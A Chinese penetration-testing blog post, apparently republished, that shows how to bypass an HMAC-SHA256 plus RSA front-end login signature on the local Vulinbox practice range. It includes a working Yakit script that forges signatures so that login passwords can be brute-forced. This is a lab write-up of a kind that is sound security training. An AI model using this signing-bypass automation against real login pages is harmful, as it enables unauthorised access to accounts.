渗透测试-前端验签绕过之SHA256+RSA

ops/2024/12/15 11:06:59/

本文是高级前端加解密与验签实战的第2篇文章,本系列文章实验靶场为Yakit里自带的Vulinbox靶场,本文讲述的是绕过SHA256+RSA签名来爆破登录。

绕过

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

根据提示可以看出这次签名用了SHA2556和RSA两个技术进行加密。

查看源代码可以看到RSA公钥是通过请求服务器获取:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

请求一下:http://127.0.0.1:8787/crypto/js/rsa/public/key ,可以看到公钥。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

SHA256密钥位置:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

Encrypt方法:

function Encrypt(word) {console.info(word);return  KEYUTIL.getKey(pubkey).encrypt(CryptoJS.HmacSHA256(word, key.toString(CryptoJS.enc.Utf8)).toString()); 
}

KEYUTIL.getKey(pubkey).encrypt是RSA1v15加密方法,在代码中可以看到先进行SHA265加密,然后再RSA加密。被加密的文本的格式同上文所示。

使用CyberChef加密:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

替换请求,可以看到签名构造成功:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

热加载

这是我写的Yakit热加载代码,通过beforeRequest劫持请求包,使用encryptData函数进行加密,getPubkey获取公钥,最终实现热加载自动签名功能。

getPubkey = func() {//通过请求动态获取公钥rsp, req = poc.HTTP(`GET /crypto/js/rsa/public/key HTTP/1.1
Host: 127.0.0.1:8787`)~body = poc.GetHTTPPacketBody(rsp) // 响应体return body
}encryptData = (packet) => {body = poc.GetHTTPPacketBody(packet)params = json.loads(body)name = params.usernamepass = params.passwordkey = "31323334313233343132333431323334"pemBytes = getPubkey() // 获取公钥signText = f`username=${name}&password=${pass}`sha256sign = codec.EncodeToHex(codec.HmacSha256(f`${codec.DecodeHex(key)~}`, signText)) // SHA256加密rsaSign = codec.EncodeToHex(codec.RSAEncryptWithPKCS1v15(pemBytes /*type: []byte*/, sha256sign)~) // RSA加密body = f`{"username":"${name}","password":"${pass}","signature":"${rsaSign}","key":"${key}"}`return string(poc.ReplaceBody(packet, body, false))
}//发送到服务端修改数据包
// beforeRequest = func(req){
//     return encryptData(req)
// }//调试用
packet = <<<TEXT
POST /crypto/sign/hmac/sha256/verify HTTP/1.1
Host: 127.0.0.1:8787
Content-Type: application/json
Content-Length: 179{"username":"admin","password":"password"}
TEXT
result = (encryptData(packet))
print(result)

这次不调试了,直接请求看看效果,成功热加载自动签名:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

插入临时字典爆破,可以看到正确密码为admin123。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传


http://www.ppmy.cn/ops/142080.html

相关文章

一座重庆工厂,智能与制造的“两江之约”

嘉陵江与长江在此交汇&#xff0c;勾勒出了重庆最独特的风景线&#xff0c;也成就了这座城市的千百年商贸兴盛与近代工业的崛起。 数字化、智能化时代&#xff0c;这座江边古城、工业重镇&#xff0c;也开始涌动着智能技术的创新源动力。其中最具代表性的&#xff0c;就是坐落在…

【动手学运动规划】 4.6 Hybrid A*算法

勇敢不是不感到恐惧&#xff0c;而是在恐惧面前仍然前行。 —《狮子王》 &#x1f3f0;代码及环境配置&#xff1a;请参考 环境配置和代码运行! 4.6.1 概述 Hybrid A* 是 2004 年 DARPA 城市挑战中的冠军车队使用的全局导航算法。相比与传统的 A* 算法&#xff0c;Hybrid A* …

JetBrains IDE(IDEAWebStorm)配置GitHub Copilot

关于 GitHub Copilot 和 JetBrains IDE GitHub Copilot 在编写代码时提供 AI 对程序员的自动完成样式的建议。 有关详细信息&#xff0c;请参阅“关于 GitHub Copilot Individual”。 如果使用 JetBrains IDE&#xff0c;可以直接在编辑器中查看并合并来自 GitHub Copilot 的…

机器学习环境

如果没有指定 Python 版本&#xff0c;通常建议使用 Python 的最新稳定版本&#xff0c;因为它通常会包含最新的功能和安全修复。对于大多数库来说&#xff0c;Python 3.8、3.9 和 3.10 都是广泛支持的版本。以下是考虑到兼容性和稳定性的改进后的环境配置&#xff1a; 指定 Py…

1_sass教程 --[CSS预处理]

Sass&#xff08;Syntactically Awesome Style Sheets&#xff09;是一种强大的 CSS 预处理器&#xff0c;它扩展了 CSS 的功能&#xff0c;使样式表更加简洁、模块化且易于维护。本教程将引导你从基础到高级特性&#xff0c;帮助你掌握如何使用 Sass 来优化你的前端开发工作流…

《开源时间序列数据:探索与应用》

《开源时间序列数据&#xff1a;探索与应用》 一、开源时间序列数据概述二、热门的开源时间序列数据库1. InfluxDB2. TimescaleDB3. Prometheus4. OpenTSDB5. Graphite6. Druid 三、开源时间序列数据的应用场景1. 物联网领域2. 金融领域3. 运维监控领域4. 能源领域 四、开源时间…

Python 参数配置使用 XML 文件的教程:轻松管理你的项目配置

Python 参数配置使用 XML 文件的教程&#xff1a;轻松管理你的项目配置 一句话总结&#xff1a;当配置项存储在外部文件&#xff08;如 XML、JSON&#xff09;时&#xff0c;修改配置无需重新编译和发布代码。通过更新 XML 文件即可调整参数&#xff0c;无需更改源代码&#xf…

xdoj 矩阵元素求和并排序

问题描述 请写一个程序&#xff0c;对于一个 m 行 m 列&#xff08;2&#xff1c;m&#xff1c;20&#xff09;的方阵&#xff0c;求其每一行、每一列及主、 辅对角线元素之和&#xff0c;然后按照从大到小的顺序依次输出这些值。 注&#xff1a;主对角线是方阵从左上角到右下…